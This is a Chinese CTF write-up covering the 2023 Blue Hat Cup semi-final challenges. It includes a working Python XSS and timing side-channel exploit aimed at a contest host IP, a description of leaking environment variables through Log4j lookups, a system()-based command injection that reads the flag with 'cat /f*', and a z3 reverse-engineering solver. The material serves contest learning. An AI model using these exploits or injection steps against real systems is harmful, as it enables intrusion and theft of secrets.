目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. AirticleShare
    2. 2.2. MyLinuxBot
  3. 3. Pwn
    1. 3.1. admin
  4. 4. Reverse
    1. 4.1. justamat

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

蓝帽杯2023 半决赛

2023/9/16 线下赛
  |     |   总文章阅读量:

前言

第一次打线下赛,高强度坐牢8小时

官方wp


Web

AirticleShare

XSS+parsley第三方库的利用+侧信道攻击

思路参考文章hxp 36C3 CTF

因为服务器返回数据的时间不确定,所以我这里sleep了个10秒,痛失抢血机会(

exp:

import requests
import time
import sys

def main(host, port):
    s = requests.Session()
    base_url = f"http://{host}:{port}/"
    res = s.get(base_url)
    pos = res.text.find('name="c" value="') + len('name="c" value="')
    csrftoken = res.text[pos:pos+16]

    ss = "abcdef0123456789"
    flag = ""

    for i in range(16):
        for j in ss:
            print("trying",j)
            payload = f'''<form data-parsley-validate>
                      <input data-parsley-required
                      data-parsley-trigger=\"blur\"
                      data-parsley-error-message=\"<input type=button id=like>\"
                      data-parsley-errors-container=\"a[href^=\'/lookup.php?id={flag + j}\']\"
                      autofocus>
                      </form>'''
            data = {'c': csrftoken, 'content': payload}
            res = s.post(base_url + "add.php", data=data, allow_redirects=False)
            #print(res.headers)
            location = res.headers['Location']
            pos = location.find('id=') + 3
            wp = location[pos:]
            data = {'c': csrftoken, 'id': wp}
            res = s.post(base_url + "admin.php", data=data)
            time.sleep(10)

            res = s.get(f"http://{host}:{port}/lookup.php?id={wp}")
            txt = res.text.replace("\n", "").replace("\r", "")
            if "Liked by</h3>admin" not in txt:
                flag += j
                print(i,flag)
                break

if __name__ == '__main__':
    main("112.74.185.213","46795")

如果中间出现没爆出来的情况就把前面爆出来的那几位去掉最后一位,然后添加在flag前面继续爆就行

最后爆破出来的id:79f4f33bab98bffe

image-20230916123659352


MyLinuxBot

log4j

加上官方wp修改了一下

题目附件(这里对变量名优化了一下

import os
import subprocess
from flask import Flask, render_template, request

jar_path = [已隐藏,内容不重要]
'''老板要我出一个攻击者绝对不会发现的CTF题目
我使用java开发真正需要处理的核心逻辑,并且隐藏在后端,这样绝对安全了
因为攻击者只可能去傻傻的寻找python漏洞,其实不知道应该去寻找Java的经典漏洞
而且我有日志记录攻击者轨迹随时可以发现
他们做梦也想不到我把flag藏在了FLAG环境变量里:-)
'''

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def aaa():
    if request.method == 'POST':
        a = request.form['text'].split(' ')
        b = ''
        if len(a) < 1:
            return ('oh, invalid message', 400)
        elif len(a) < 2:
            b = a[0]
            a = ''
        else:
            b, a = a[0], ' '.join(a[1:])
        c = bbb(b, a)
        return c
    return render_template('home.html')


def bbb(d, e):
    with open("/flag", "r") as f:
        FLAG = f.read()
    f = subprocess.run(['java', '-jar', '-Dcmd=' + d, jar_path, '--', e],
                       capture_output=True,
                       timeout=12,
                       env={"FLAG": FLAG})
    return f.stdout.decode('utf-8')


if __name__ == '__main__':
    port = os.environ['PORT'] if 'port' in os.environ else 1337
    app.run(host='0.0.0.0', port=port)

代码审计一下:接受POST请求,提交我们text指定的命令,调用后端的java进程处理

分析Java部分源码发现:

  • flag在环境变量flag中:env={"FLAG": FLAG}
  • LOGGER.info是唯一一个Log4j的调用
  • 它将打印完整的参数,但不打印命令:capture_output=True
  • 从Python传递参数的方式是,只有零个或一个参数。但是,这个参数可能包含空格。
  • 该命令是从系统属性cmd中获取的
  • 命令必须以/开头
  • 接下来,将命令和参数传递给doCommand函数

网页的xml文件

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_ERR">
            <PatternLayout
                pattern="%d{HH:mm:ss.SSS} %-5level %logger{36}
executing ${sys:cmd} - %msg %n">
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console" />
        </Root>
    </Loggers>
</Configuration>

这一段配置了Log4j的行为方式:

  • 日志被写入stderr
  • ${sys:cmd}会打印到日志里
  • %msg是日志消息

这题做起来太迷了,要求开头带/,然后跟我说权限不够执行命令,于是就想着提权(后日谈:原来可以用help命令查看可执行的命令)

然后想了想又不对,回去看python源码,又去找架构的漏洞,不过这不就着了注释的道了?(

直到后面fuzz的时候,发现好像能用某些字符弄出报错带出信息,然后搜了一下报错信息对应的库,发现是log4j,有${java:version}这样的命令用法

参考文章

结合两个lookup弄出报错获取环境变量

image-20230916164108120


Pwn

admin

代码审计

ida64直接反编译

int sub_15B1()
{
  puts("1. mmap");
  puts("2. read");
  puts("3. write");
  puts("4. su");
  puts("5. cmd");
  return puts(">> ");
}

1

__int64 sub_16CA()
{
  unsigned int v0; // ebx
  __int64 v1; // rax
  unsigned int v3; // [rsp+4h] [rbp-1Ch]
  __int64 v4; // [rsp+8h] [rbp-18h]

  puts("Start Address: ");
  v4 = sub_14DD();
  sub_1546(v4);
  puts("Size: ");
  v3 = sub_14DD();
  sub_1546((int)v3 + v4);
  v0 = dword_4010;
  v1 = sub_1585(v4);
  return sub_1604(v1, v0, v3);
}

2

void sub_1757()
{
  int v0; // [rsp+4h] [rbp-2Ch]
  int v1; // [rsp+8h] [rbp-28h]
  int v2; // [rsp+Ch] [rbp-24h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  __int64 v5; // [rsp+20h] [rbp-10h]
  char *buf; // [rsp+28h] [rbp-8h]

  puts("Start Address: ");
  v4 = sub_14DD();
  sub_1546(v4);
  puts("Size: ");
  v2 = sub_14DD();
  sub_1546(v2 + v4);
  v5 = sub_1585(v4);
  if ( dword_4010 && *(_DWORD *)(*(_QWORD *)v5 + 4LL) != dword_4010 )
    err("Permission Denied!");
  buf = (char *)malloc(v2);
  v0 = 0;
  v1 = v2;
  v3 = *(_QWORD *)v5;
  while ( v1 > 0 )
  {
    if ( v1 <= 4095 )
    {
      memcpy(&buf[v0], (const void *)(*(_QWORD *)(v3 + 8) + 8LL), v1);
      v0 += v1;
    }
    else
    {
      memcpy(&buf[v0], (const void *)(*(_QWORD *)(v3 + 8) + 8LL), 0xFF8uLL);
      v0 += 4088;
    }
    v1 -= 4096;
    v3 = *(_QWORD *)(v3 + 16);
  }
  write(1, buf, v2);
  free(buf);
}

3

void sub_18D0()
{
  int v0; // [rsp+0h] [rbp-30h]
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  char *buf; // [rsp+28h] [rbp-8h]

  puts("Start Address: ");
  v5 = sub_14DD();
  sub_1546(v5);
  puts("Size: ");
  v2 = sub_14DD();
  puts("Offset: ");
  v3 = sub_14DD();
  sub_1546(v5 + v2 + v3);
  v6 = sub_1585(v5);
  if ( dword_4010 && *(_DWORD *)(*(_QWORD *)v6 + 4LL) != dword_4010 )
    err("Permission Denied!");
  buf = (char *)malloc(v2);
  v0 = 0;
  v1 = v2;
  puts("Content: ");
  read(0, buf, v2);
  v4 = *(_QWORD *)v6;
  while ( v1 > 0 )
  {
    if ( v1 <= 4096 )
    {
      memcpy((void *)(*(_QWORD *)(v4 + 8) + 8LL), &buf[v0], v1);
      v0 += v1;
    }
    else
    {
      memcpy((void *)(*(_QWORD *)(v4 + 8) + 8LL), &buf[v0], 0xFF8uLL);
      v0 += 4088;
    }
    v1 -= 4096;
    v4 = *(_QWORD *)(v4 + 16);
  }
  free(buf);
}

4

unsigned __int64 sub_1A78()
{
  __int64 v0; // rax
  int i; // [rsp+4h] [rbp-2Ch]
  int j; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( !qword_4050 )
  {
    for ( i = 0; i <= 15; ++i )
    {
      if ( !**(_DWORD **)(((__int64)i << 12) + qword_4068) )
      {
        sub_1604(*(_QWORD *)(*(_QWORD *)(((__int64)i << 12) + qword_4068) + 8LL), 0LL, 4096LL);
        qword_4050 = *(_QWORD *)(*(_QWORD *)(((__int64)i << 12) + qword_4068) + 8LL);
        break;
      }
      if ( i == 15 && **(_DWORD **)(qword_4068 + 61440) )
        err("Out Of Memory!");
    }
    ::buf = (void *)(qword_4050 + 8);
    file = (char *)(qword_4050 + 24);
    v0 = qword_4050 + 24;
    *(_QWORD *)(qword_4050 + 24) = 0x6477737361702F2ELL;
    *(_BYTE *)(v0 + 8) = 0;
  }
  fd = open(file, 2);
  if ( fd < 0 )
    err("Passwd Not Found!");
  read(fd, ::buf, 8uLL);
  close(fd);
  puts("Passwd: ");
  read(0, buf, 0x100uLL);
  for ( j = 0; j <= 7; ++j )
  {
    if ( buf[j] != *((_BYTE *)::buf + j) )
    {
      puts("Wrong Passwd");
      return __readfsqword(0x28u) ^ v6;
    }
  }
  puts("Login Success!");
  puts("Please be responsible for your ANY actions");
  dword_4010 = 0;
  return __readfsqword(0x28u) ^ v6;
}

5

unsigned __int64 sub_1C86()
{
  int i; // [rsp+4h] [rbp-2Ch]
  int j; // [rsp+8h] [rbp-28h]
  int v3; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("Command: ");
  v3 = read(0, buf, 0x100uLL);
  if ( dword_4010 == 1 )
  {
    for ( i = 0; i < v3 - 2; ++i )
    {
      if ( !strncmp(&buf[i], "sh", 2uLL) )
        err("Permission Denied!");
    }
    for ( j = 0; j < v3 - 4; ++j )
    {
      if ( !strncmp(&buf[j], "flag", 4uLL) )
        err("Permission Denied!");
    }
    goto LABEL_14;
  }
  if ( !dword_4010 )
LABEL_14:
    system(buf);
  return __readfsqword(0x28u) ^ v5;
}

五个选项看下来,直接选cmd,存在system可以直接命令执行,只过滤了flag,直接cat /f*就行

image-20230916124059310


Reverse

justamat

原题,参考bit爷的gwb2021

经过调试发现,是将我们的输入拼凑到一个字符数组后面,44个,然后再拼接_you_get_it这句字符串,产生了一个100的字符数组

使用矩阵乘法,exp:

from z3 import *
final=[0x0001C633, 0x0001DF94, 0x00020EBF, 
0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1, 
0x0001EA1A, 0x0001EEAA, 0x0001DFB2, 0x0001C1D0, 
0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E, 
0x00025D74, 0x0001F000, 0x000202D6, 0x00020002, 
0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6, 
0x0002C7BA, 0x000201AE, 0x00027FBF, 0x00020E21, 
0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E, 
0x0001F4D7, 0x00022C8D, 0x0002C353, 0x0001F8DB, 
0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6, 
0x0001EDA8, 0x0001AD7D, 0x00018218, 0x0001CCD4, 
0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967, 
0x0001A4F4, 0x0001CAD8, 0x000196AE, 0x0001831B, 
0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE, 
0x00021760, 0x0001D3B4, 0x000175D6, 0x00017D3A, 
0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E, 
0x00017EEB, 0x0001327E, 0x00016A45, 0x00012921, 
0x00011FF0, 0x00013643, 0x00011729, 0x00015191, 
0x00017D17, 0x00017262, 0x0001A863, 0x00017010, 
0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B, 
0x0001242C, 0x0000F68C, 0x0001192A, 0x000150AD, 
0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B, 
0x000141A6, 0x00015AA3, 0x000135C9, 0x0001D86F, 
0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F, 
0x00027EE6, 0x000213B9, 0x00020E86, 0x000211FF, 
0x0001E1EF]
second=[0x000000FE, 0x0000000B, 0x0000001D, 
0x000000F6, 0x00000083, 0x000000FF, 0x000000E0, 
0x000000B8, 0x000000DD, 0x000000B0, 0x000000C5, 
0x000000DE, 0x000000F6, 0x00000014, 0x0000009F, 
0x000000DD, 0x000000D9, 0x00000007, 0x0000002D, 
0x0000006B, 0x00000019, 0x000000CA, 0x00000073, 
0x000000FD, 0x00000087, 0x00000072, 0x00000024, 
0x00000004, 0x00000049, 0x0000007E, 0x000000A9, 
0x000000CE, 0x00000091, 0x000000BE, 0x00000041, 
0x00000018, 0x00000060, 0x0000003F, 0x0000002B, 
0x00000063, 0x0000001C, 0x000000D2, 0x00000090, 
0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E, 
0x000000F3, 0x00000041, 0x000000AD, 0x0000002C, 
0x00000003, 0x00000069, 0x000000DA, 0x00000010, 
0x000000FD, 0x000000FD, 0x000000E7, 0x00000006, 
0x00000036, 0x000000D6, 0x00000002, 0x00000059, 
0x00000018, 0x000000CC, 0x00000050, 0x00000087, 
0x000000AF, 0x000000FB, 0x00000018, 0x00000044, 
0x0000007F, 0x000000AD, 0x000000F8, 0x0000002C, 
0x00000067, 0x0000001D, 0x00000022, 0x00000084, 
0x000000AC, 0x0000000E, 0x00000023, 0x000000DC, 
0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8, 
0x0000004A, 0x000000BC, 0x000000DE, 0x00000050, 
0x0000009C, 0x0000001C, 0x0000001E, 0x00000086, 
0x0000003A, 0x0000002D, 0x000000DD, 0x000000C3, 
0x00000003]
input=[0x00000074, 0x00000068, 0x00000065, 
0x00000072, 0x00000065, 0x0000005F, 0x00000061, 
0x00000072, 0x00000065, 0x0000005F, 0x00000061, 
0x0000005F, 0x0000006C, 0x0000006F, 0x00000074, 
0x0000005F, 0x00000075, 0x00000073, 0x00000065, 
0x0000006C, 0x00000065, 0x00000073, 0x00000073, 
0x0000005F, 0x00000069, 0x0000006E, 0x00000066, 
0x0000006F, 0x00000072, 0x0000006D, 0x00000061, 
0x00000074, 0x00000069, 0x0000006F, 0x0000006E, 
0x0000005F, 0x00000062, 0x00000075, 0x00000074, 
0x0000005F, 0x0000006F, 0x00000068, 0x0000002E, 
0x0000006F, 0x00000030, 0x0000004F, 0x0000005F, 
0x00000031, 0x00000032, 0x00000033, 0x00000034, 
0x00000035, 0x00000036, 0x00000037, 0x00000038, 
0x00000039, 0x00000031, 0x00000032, 0x00000033, 
0x00000034, 0x00000035, 0x00000036, 0x00000037, 
0x00000038, 0x00000039, 0x00000031, 0x00000032, 
0x00000033, 0x00000034, 0x00000035, 0x00000036, 
0x00000037, 0x00000038, 0x00000039, 0x00000031, 
0x00000032, 0x00000033, 0x00000034, 0x00000035, 
0x00000036, 0x00000037, 0x00000038, 0x00000039, 
0x00000031, 0x00000032, 0x00000033, 0x00000034, 
0x00000035, 0x00000036, 0x0000005F, 0x00000079, 
0x0000006F, 0x00000075, 0x0000005F, 0x00000067, 
0x00000065, 0x00000074, 0x0000005F, 0x00000069, 
0x00000074]
Str=[BitVec('flag%d'%tmp,8) for tmp in range(42)]
s=Solver()

# 先处理前三个的问题:

for count in range(10):
    s.add(input[40]*second[count+0]+input[41]*second[count+10]+input[42]*second[count+20]+input[43]*second[count+30]+input[44]*second[count+40]+input[45]*second[count+50]+input[46]*second[count+60]+Str[0]*second[count+70]+Str[1]*second[count+80]+Str[2]*second[count+90]==final[4*10+count])

# 再处理中间的三十的内容:

for count1 in range(10):
        s.add(Str[3]*second[count1+0]+Str[4]*second[count1+10]+Str[5]*second[count1+20]+Str[6]*second[count1+30]+Str[7]*second[count1+40]+Str[8]*second[count1+50]+Str[9]*second[count1+60]+Str[10]*second[count1+70]+Str[11]*second[count1+80]+Str[12]*second[count1+90]==final[5*10+count1])
for count2 in range(10):
    s.add(Str[13]*second[count2+0]+Str[14]*second[count2+10]+Str[15]*second[count2+20]+Str[16]*second[count2+30]+Str[17]*second[count2+40]+Str[18]*second[count2+50]+Str[19]*second[count2+60]+Str[20]*second[count2+70]+Str[21]*second[count2+80]+Str[22]*second[count2+90]==final[6*10+count2])
for count3 in range(10):
    s.add(Str[23]*second[count3+0]+Str[24]*second[count3+10]+Str[25]*second[count3+20]+Str[26]*second[count3+30]+Str[27]*second[count3+40]+Str[28]*second[count3+50]+Str[29]*second[count3+60]+Str[30]*second[count3+70]+Str[31]*second[count3+80]+Str[32]*second[count3+90]==final[7*10+count3])

# 继续处理后9个:
for count4 in range(10):
    s.add(Str[33]*second[count4+0]+Str[34]*second[count4+10]+Str[35]*second[count4+20]+Str[36]*second[count4+30]+Str[37]*second[count4+40]+Str[38]*second[count4+50]+Str[39]*second[count4+60]+Str[40]*second[count4+70]+Str[41]*second[count4+80]+input[89]*second[count4+90]==final[8*10+count4])
if s.check():
    a=s.model()
    print(a)
flag=""
for i in range(42):
    flag+=chr(a[Str[i]].as_long())
print(flag)

image-20230917133915136